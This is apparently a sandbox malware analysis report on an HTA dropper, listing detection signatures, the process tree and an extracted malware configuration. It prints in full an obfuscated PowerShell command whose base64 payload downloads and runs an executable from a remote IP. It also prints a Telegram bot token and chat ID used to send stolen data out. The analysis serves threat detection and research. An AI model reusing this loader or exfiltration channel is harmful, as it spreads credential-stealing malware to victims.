Windows
Analysis Report
kissingwithbestexperiencedgirlfriendonhereformenice.hta
Overview
General Information
Detection
Cobalt Strike, MSIL Logger, MassLogger RAT
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Detected Cobalt Strike Beacon
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected MSIL Logger
Yara detected MassLogger RAT
Yara detected Powershell decode and execute
Yara detected Telegram RAT
.NET source code references suspicious native API functions
Binary is likely a compiled AutoIt script file
Contains functionality to log keystrokes (.Net Source)
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Suspicious MSHTA Child Process
Suspicious command line found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 6492 cmdline:
mshta.exe "C:\Users\ user\Deskt op\kissing withbestex periencedg irlfriendo nhereforme nice.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) cmd.exe (PID: 2700 cmdline:
"C:\Window s\system32 \cmd.exe" "/C poWERs HElL.eXe -ex Bypas S -N op - w 1 -c DevIc ecredEntIa lDEPLOYmEN T.eXE ; Iex($(iEx( '[sYsTeM.t exT.enCodI NG]'+[chAR ]58+[Char] 0x3A+'Utf8 .gEtstriNG ([sYStEm.c OnveRt]'+[ CHaR]0X3A+ [cHaR]0x3A +'fRombase 64strIng(' +[chaR]0x2 2+'JFhUICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gPSAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIGFEZ C1UWVBlICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLU1lbUJlU kRFZkluSXR pT04gICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAnW 0RsbEltcG9 ydCgiVXJMb U9uLkRMTCI sICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgQ2hhc lNldCA9IEN oYXJTZXQuV W5pY29kZSl dcHVibGljI HN0YXRpYyB leHRlcm4gS W50UHRyIFV STERvd25sb 2FkVG9GaWx lKEludFB0c iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIGhvLHN 0cmluZyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI Ep6ZkhCcFV UcSxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBaTXB rLHVpbnQgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBpVmFWY0l OWG8sSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgRVZ uYW9lKTsnI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgLU5hTUU gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAiQmlzV kFURm9zIiA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIC1uYU1lc 1BBY0UgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB Td0N6ICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL VBhc3NUaHJ 1OyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICRYV Do6VVJMRG9 3bmxvYWRUb 0ZpbGUoMCw iaHR0cDovL zIzLjk1LjI zNS4yOC81N jAvdmNjLmV 4ZSIsIiRlT nY6QVBQREF UQVx2Y2MuZ XhlIiwwLDA pO1NUQXJ0L XNMZWVQKDM pO0lOVm9LZ S1JVGVNICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIiRFbnY6Q VBQREFUQVx 2Y2MuZXhlI g=='+[chAr ]0x22+'))' )))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 3256 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 5224 cmdline:
poWERsHElL .eXe -ex BypasS -Nop -w 1 -c DevIcecre dEntIalDEP LOYmENT.eX E ; Iex( $(iEx('[sY sTeM.texT. enCodING]' +[chAR]58+ [Char]0x3A +'Utf8.gEt striNG([sY StEm.cOnve Rt]'+[CHaR ]0X3A+[cHa R]0x3A+'fR ombase64st rIng('+[ch aR]0x22+'J FhUICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgPSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIGFEZC1UW VBlICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLU1 lbUJlUkRFZ kluSXRpT04 gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAnW0Rsb EltcG9ydCg iVXJMbU9uL kRMTCIsICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gQ2hhclNld CA9IENoYXJ TZXQuVW5pY 29kZSldcHV ibGljIHN0Y XRpYyBleHR lcm4gSW50U HRyIFVSTER vd25sb2FkV G9GaWxlKEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI GhvLHN0cml uZyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIEp6Z khCcFVUcSx zdHJpbmcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBaTXBrLHV pbnQgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBpV mFWY0lOWG8 sSW50UHRyI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgRVZuYW9 lKTsnICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL U5hTUUgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA iQmlzVkFUR m9zIiAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIC1 uYU1lc1BBY 0UgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBTd0N 6ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLVBhc 3NUaHJ1OyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICRYVDo6V VJMRG93bmx vYWRUb0Zpb GUoMCwiaHR 0cDovLzIzL jk1LjIzNS4 yOC81NjAvd mNjLmV4ZSI sIiRlTnY6Q VBQREFUQVx 2Y2MuZXhlI iwwLDApO1N UQXJ0LXNMZ WVQKDMpO0l OVm9LZS1JV GVNICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIiR FbnY6QVBQR EFUQVx2Y2M uZXhlIg==' +[chAr]0x2 2+'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) csc.exe (PID: 7200 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\qfzuxwqd \qfzuxwqd. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) cvtres.exe (PID: 7232 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S94CA.tmp" "c:\Users \user\AppD ata\Local\ Temp\qfzux wqd\CSCADD 237997B8E4 BD496D9E41 4C49E4A6C. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) vcc.exe (PID: 7540 cmdline:
"C:\Users\ user\AppDa ta\Roaming \vcc.exe" MD5: 0FD138D0A654100FD6E3CCDEBCE396A3) RegSvcs.exe (PID: 7568 cmdline:
"C:\Users\ user\AppDa ta\Roaming \vcc.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- cleanup
{"EXfil Mode": "Telegram", "Telegram Token": "7598843355:AAHehybWWiULdkPS1RLFstdr4_yw-SdkoII", "Telegram Chatid": "7668947425"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MassLogger | Yara detected MassLogger RAT | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_MSILLogger | Yara detected MSIL Logger | Joe Security | ||
JoeSecurity_TelegramRAT | Yara detected Telegram RAT | Joe Security | ||
Windows_Trojan_SnakeKeylogger_af3faa65 | unknown | unknown |
| |
Click to see the 17 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MassLogger | Yara detected MassLogger RAT | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_MSILLogger | Yara detected MSIL Logger | Joe Security | ||
JoeSecurity_TelegramRAT | Yara detected Telegram RAT | Joe Security | ||
Windows_Trojan_SnakeKeylogger_af3faa65 | unknown | unknown |
| |
Click to see the 13 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: Michael Haag: |